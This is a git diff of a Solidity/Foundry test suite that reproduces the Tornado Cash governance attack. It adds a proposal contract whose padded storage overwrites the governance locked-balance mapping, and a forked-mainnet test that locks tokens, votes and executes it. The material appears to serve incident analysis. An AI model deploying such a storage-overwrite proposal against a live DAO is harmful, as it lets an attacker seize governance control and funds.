diff --git a/src/SetStakeDirectlyProposal.sol b/src/SetStakeDirectlyProposal.sol new file mode 100644 index 0000000..c415975 --- /dev/null +++ b/src/SetStakeDirectlyProposal.sol @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.17; + +import "@interfaces/IERC20.sol"; + +import "@proprietary/Mock.sol"; + +contract SetStakeDirectlyProposal is Mock { + uint256[59] private _pad; + mapping(address => uint256) private _balances; + + function executeProposal() external { + _balances[ADDRESS_TO_STAKE] = STAKE_AMOUNT; + } +} diff --git a/src/interfaces/IGovernance.sol b/src/interfaces/IGovernance.sol index e83c6f1..1a8e376 100644 --- a/src/interfaces/IGovernance.sol +++ b/src/interfaces/IGovernance.sol @@ -3,5 +3,21 @@ pragma solidity 0.8.17; interface IGovernance { function lockedBalance(address account) external view returns (uint256); + function propose( + address target, + string memory description + ) external returns (uint256); + + function castVote(uint256 proposalId, bool support) external; + + function lock( + address owner, + uint256 amount, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + function execute(uint256 proposalId) external payable; } diff --git a/src/proprietary/Mock.sol b/src/proprietary/Mock.sol new file mode 100644 index 0000000..93a24f7 --- /dev/null +++ b/src/proprietary/Mock.sol @@ -0,0 +1,44 @@ +pragma solidity 0.8.17; + +contract Mock { + uint256 constant TEST_PRIVATE_KEY_ONE = + 0x66ddbd7cbe4a566df405f6ded0b908c669f88cdb1656380c050e3a457bd21df0; + uint256 constant TEST_PRIVATE_KEY_TWO = + 0xa4c8c98120e77741a87a116074a2df4ddb20d1149069290fd4a3d7ee65c55064; + address constant TEST_ADDRESS_ONE = + 0x118251976c65AFAf291f5255450ddb5b6A4d8B88; + address constant TEST_ADDRESS_TWO = + 0x63aE7d90Eb37ca39FC62dD9991DbEfeE70673a20; + + address constant ADDRESS_TO_STAKE = + 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; + uint256 constant STAKE_AMOUNT = 100_000 ether; + + uint256 constant PROPOSAL_DURATION = 7 days; + uint256 constant PROPOSAL_THRESHOLD = 25000 ether; + string constant PROPOSAL_DESCRIPTION = + "{title:'Proposal #22: Test clone of 21 proposal: change locked stake balance directly',description:''}"; + + address constant VERIFIER_ADDRESS = + 0x77777FeDdddFfC19Ff86DB637967013e6C6A116C; + + bytes32 constant PERMIT_TYPEHASH = + keccak256( + "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" + ); + + bytes32 constant EIP712_DOMAIN = + keccak256( + abi.encode( + keccak256( + "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" + ), + keccak256(bytes("TornadoCash")), + keccak256(bytes("1")), + 1, + VERIFIER_ADDRESS + ) + ); + + uint16 constant PERMIT_FUNC_SELECTOR = uint16(0x1901); +} diff --git a/src/proprietary/Parameters.sol b/src/proprietary/Parameters.sol index 001fc16..4d7057a 100644 --- a/src/proprietary/Parameters.sol +++ b/src/proprietary/Parameters.sol @@ -2,14 +2,11 @@ pragma solidity 0.8.17; contract Parameters { // Beneficary addresses - address public _governanceAddress = + address constant _governanceAddress = 0x5efda50f22d34F262c29268506C5Fa42cB56A1Ce; - address public _governanceVaultAddress = + address constant _governanceVaultAddress = 0x2F50508a8a3D323B91336FA3eA6ae50E55f32185; - address public _tokenAddress = 0x77777FeDdddFfC19Ff86DB637967013e6C6A116C; - - // Proposals info - uint256 public PROPOSAL_DURATION = 7 days; + address constant _tokenAddress = 0x77777FeDdddFfC19Ff86DB637967013e6C6A116C; // Attacker info - proposal, addresses uint256 _attackerProposalId = 21; diff --git a/test/Proposal.t.sol b/test/Proposal.t.sol index f5d8824..6dea728 100644 --- a/test/Proposal.t.sol +++ b/test/Proposal.t.sol @@ -4,11 +4,14 @@ import "@interfaces/IGovernance.sol"; import "@interfaces/IERC20.sol"; import "@proprietary/Parameters.sol"; +import "@proprietary/Mock.sol"; + +import "@root/SetStakeDirectlyProposal.sol"; import "@forge-std/Test.sol"; import "@forge-std/console2.sol"; -contract ProposalTest is Test, Parameters { +contract ProposalTest is Test, Parameters, Mock, SetStakeDirectlyProposal { IGovernance internal governance = IGovernance(_governanceAddress); uint256 internal currentGovernanceVaultBalance = getGovernanceVaultBalance(); @@ -19,12 +22,22 @@ contract ProposalTest is Test, Parameters { checkResults(); } - function testProposal() public conditionStateChecks { + function testExistentHackerProposal() public conditionStateChecks { waitUntilVotingEnds(); + governance.execute(_attackerProposalId); } - function getAttackerLockedBalance() internal returns (uint256) { + function testMockSetStakeDirectlyProposal() public { + uint256 testSetStakeProposalId = voteAndCreateProposal( + address(new SetStakeDirectlyProposal()) + ); + waitUntilVotingEnds(); + governance.execute(testSetStakeProposalId); + require(governance.lockedBalance(ADDRESS_TO_STAKE) == STAKE_AMOUNT); + } + + function getAttackerLockedBalance() internal view returns (uint256) { uint256 attackerLockedBalance; for (uint i = 0; i < _attackerAddresses.length; i++) { uint256 lockedBalance = governance.lockedBalance( @@ -44,6 +57,86 @@ contract ProposalTest is Test, Parameters { vm.warp(block.timestamp + PROPOSAL_DURATION); } + function voteAndCreateProposal( + address proposalAddress + ) public returns (uint256) { + retrieveAndLockBalance( + TEST_PRIVATE_KEY_ONE, + TEST_ADDRESS_ONE, + PROPOSAL_THRESHOLD + ); + retrieveAndLockBalance(TEST_PRIVATE_KEY_TWO, TEST_ADDRESS_TWO, 1 ether); + + /* ----------PROPOSER------------ */ + vm.startPrank(TEST_ADDRESS_ONE); + + uint256 proposalId = IGovernance(_governanceAddress).propose( + proposalAddress, + PROPOSAL_DESCRIPTION + ); + + // TIME-TRAVEL + vm.warp(block.timestamp + 6 hours); + + IGovernance(_governanceAddress).castVote(proposalId, true); + + vm.stopPrank(); + /* ------------------------------ */ + + /* -------------VOTER-------------*/ + vm.startPrank(TEST_ADDRESS_TWO); + IGovernance(_governanceAddress).castVote(proposalId, true); + vm.stopPrank(); + /* ------------------------------ */ + + return proposalId; + } + + function retrieveAndLockBalance( + uint256 privateKey, + address voter, + uint256 amount + ) internal { + uint256 lockTimestamp = block.timestamp + PROPOSAL_DURATION; + bytes32 messageHash = keccak256( + abi.encodePacked( + PERMIT_FUNC_SELECTOR, + EIP712_DOMAIN, + keccak256( + abi.encode( + PERMIT_TYPEHASH, + voter, + _governanceAddress, + amount, + 0, + lockTimestamp + ) + ) + ) + ); + + /* ----------GOVERNANCE------- */ + vm.startPrank(_governanceAddress); + IERC20(_tokenAddress).transfer(voter, amount); + vm.stopPrank(); + /* ----------------------------*/ + + (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash); + + /* ----------VOTER------------ */ + vm.startPrank(voter); + IGovernance(_governanceAddress).lock( + voter, + amount, + lockTimestamp, + v, + r, + s + ); + vm.stopPrank(); + /* ----------------------------*/ + } + function checkCurrentState() internal { console2.log( "Current attacker locked balance: %s TORN", @@ -58,6 +151,7 @@ contract ProposalTest is Test, Parameters { function checkResults() internal { uint256 attackerBalanceAfterProposalExecution = getAttackerLockedBalance(); uint256 governanceVaultBalanceAfterProposalExecution = getGovernanceVaultBalance(); + console2.log( "Attacker locked balance after proposal 21 execution: %s TORN", attackerBalanceAfterProposalExecution / 10 ** 18